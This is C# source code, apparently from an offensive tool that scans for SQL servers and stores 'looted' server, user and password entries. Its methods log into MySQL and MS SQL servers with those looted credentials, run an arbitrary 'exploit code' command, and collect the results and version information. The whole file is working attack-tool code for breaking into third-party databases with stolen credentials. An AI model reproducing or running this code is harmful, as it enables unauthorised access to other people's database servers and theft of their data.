public void SaveLootedSqlServer() { var changeLang = new LanguageControl(); changeLang.FindLang(); try { var fileName = Directory.GetCurrentDirectory() + @"\Scanner\Looted\Looted.txt"; if (File.Exists(fileName)) { File.Delete(fileName); } var createSqlServerListText = new StreamWriter(fileName); for (var i = 0; i < _lootedPasswordList.Count; i++) { createSqlServerListText.WriteLine(_lootedPasswordList[i]); } createSqlServerListText.Flush(); createSqlServerListText.Close(); } catch (Exception exp) { Exception = string.Empty; Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void FileCreateControl() { var changeLang = new LanguageControl(); changeLang.FindLang(); var listDirecroty = Directory.GetFiles(@"Scanner\FoundServer\", "*.*", SearchOption.AllDirectories); if (listDirecroty.Count() > 20) { File.Delete(@"Scanner\FoundServer\*.*"); } else { try { var rnd = new Random(); var chr = "0123456789ABCDEFGHIJKLMNOPRSTUVWXYZ".ToCharArray(); var randomFileName = string.Empty; Parallel.For(0, 10, i => { randomFileName += chr[rnd.Next(0, chr.Length - 1)].ToString(); }); const string fileName = @"Scanner\FoundServer\SqlServerList.txt"; var fileMoveName = @"Scanner\FoundServer\SqlServerList.txt.bak" + Convert.ToString(DateTime.Now.ToShortDateString()); if (File.Exists(fileName)) { if (File.Exists(fileMoveName)) { File.Move(fileMoveName, fileMoveName + randomFileName); } File.Move(fileName, fileMoveName); } var createSqlServerListText = new StreamWriter(fileName); Parallel.For(0, LstFoundedAddres.Count, i => { createSqlServerListText.WriteLine(LstFoundedAddres[i]); }); createSqlServerListText.Flush(); createSqlServerListText.Close(); } catch (FileNotFoundException exp) { _exception = string.Empty; _exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } }
public void MySqlServerInformation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); if (!string.IsNullOrEmpty(SelectedLootedServer)) { var split = SelectedLootedServer.Split(':'); var server = split[0]; var user = split[2]; var pass = split[3]; var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; var mysqlConn = new MySqlConnection(con.ToString()); try { const string addUserCmd = "SHOW GLOBAL VARIABLES LIKE '%version%';"; var cmd = new MySqlCommand(addUserCmd, mysqlConn); mysqlConn.Open(); var rdr = cmd.ExecuteReader(); _sqlServerInfo = string.Empty; var sqlInfo = new List <string>(); while (rdr.Read()) { sqlInfo.Add($"{Environment.NewLine}{rdr[1]}"); } rdr.Close(); mysqlConn.Close(); _sqlServerInfo = " Server Version: " + sqlInfo[3].Replace("\r\n", "") + " Innodb_Version: " + sqlInfo[0].Replace("\r\n", "") + " Platform: " + sqlInfo[6].Replace("\r\n", ""); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void SqlServerInformation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var exploitCode = Command; if (!string.IsNullOrEmpty(SelectedLootedServer)) { var parcala = SelectedLootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(exploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); _sqlServerInfo = string.Empty; var sqlInfo = new List <string>(); while (rdr.Read()) { sqlInfo.Add($"{Environment.NewLine}{rdr[2]}"); } _sqlServerInfo = "Server IP: " + parcala[0] + " Server Version: " + sqlInfo[1].Replace("\r\n", ""); rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
private void GetDatabaseControl() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); if (!string.IsNullOrEmpty(SelectedItem)) { var split = SelectedItem.Split(':'); var server = split[0]; var user = split[2]; var pass = split[3]; var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; var mysqlConn = new MySqlConnection(con.ToString()); try { var cmd = new MySqlCommand(_exploitCode, mysqlConn); mysqlConn.Open(); var rdr = cmd.ExecuteReader(); _exploitResult = string.Empty; while (rdr.Read()) { _exploitResult += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); mysqlConn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void SqlServerFoundAddressFile() { var changeLang = new LanguageControl(); changeLang.FindLang(); try { var fileName = Directory.GetCurrentDirectory() + @"\Scanner\FoundServer\SqlServerList.txt"; var foundSqlServerList = File.ReadLines(fileName); var sqlServerList = foundSqlServerList as string[] ?? foundSqlServerList.ToArray(); AddressList = new List <string>(); for (var i = 0; i < sqlServerList.Count(); i++) { AddressList.Add(sqlServerList[i]); } } catch (Exception exp) { Exception = string.Empty; Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void FileSizeControl() { var changeLang = new LanguageControl(); changeLang.FindLang(); try { var listDirecroty = Directory.GetFiles(@"Scanner\FoundServer\", "*.*", SearchOption.AllDirectories); if (listDirecroty.Count() > 20) { for (var i = 0; i < listDirecroty.Count(); i++) { File.Delete(listDirecroty[i]); } } } catch (Exception exp) { _exception = string.Empty; _exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void FileControl() { var changeLang = new LanguageControl(); changeLang.FindLang(); try { var fileName = Directory.GetCurrentDirectory() + "\\Scanner\\Looted\\Looted.txt"; var passText = File.ReadLines(fileName); var passwordText = passText as string[] ?? passText.ToArray(); var passCount = passwordText.Count(); _lootedList = new List <string>(); for (var i = 0; i < passCount; i++) { _lootedList.Add(passwordText[i]); } } catch (Exception exp) { Exception = string.Empty; Exception += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }